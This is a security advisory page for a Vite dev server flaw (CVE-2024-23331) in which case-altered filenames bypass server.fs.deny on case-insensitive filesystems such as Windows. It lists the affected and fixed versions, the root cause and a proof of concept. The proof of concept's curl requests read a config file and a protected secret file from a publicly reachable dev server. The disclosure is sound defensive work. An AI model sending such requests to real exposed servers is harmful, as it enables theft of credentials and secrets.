Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Published 19 Jan 2024 · Updated 10 Sept 2026
Affected packages
- Affected
- >=2.7.0 <2.9.17
- Fixed in
- 2.9.17
npm install vite@2.9.17- Affected
- >=3.0.0 <3.2.8
- Fixed in
- 3.2.8
npm install vite@3.2.8- Affected
- >=4.0.0 <4.5.2
- Fixed in
- 4.5.2
npm install vite@4.5.2- Affected
- >=5.0.0 <5.0.12
- Fixed in
- 5.0.12
npm install vite@5.0.12Details
Summary
Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC
Setup
1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. custom.secret and production.pem
3. Populated vite.config.js with
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }Reproduction
1. curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Proof !Screenshot 2024-01-19 022736
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
Is GHSA-c24v-8rfc-w8vw in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vite, and gives you the command that fixes it.
References
- Linkgithub.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw
- Advisorynvd.nist.gov/vuln/detail/CVE-2023-34092
- Advisorynvd.nist.gov/vuln/detail/CVE-2024-23331
- Linkgithub.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691
- Linkgithub.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5
- Linkgithub.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278
- Linkgithub.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb
- Packagegithub.com/vitejs/vite
- Linkvitejs.dev/config/server-options.html#server-fs-deny
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.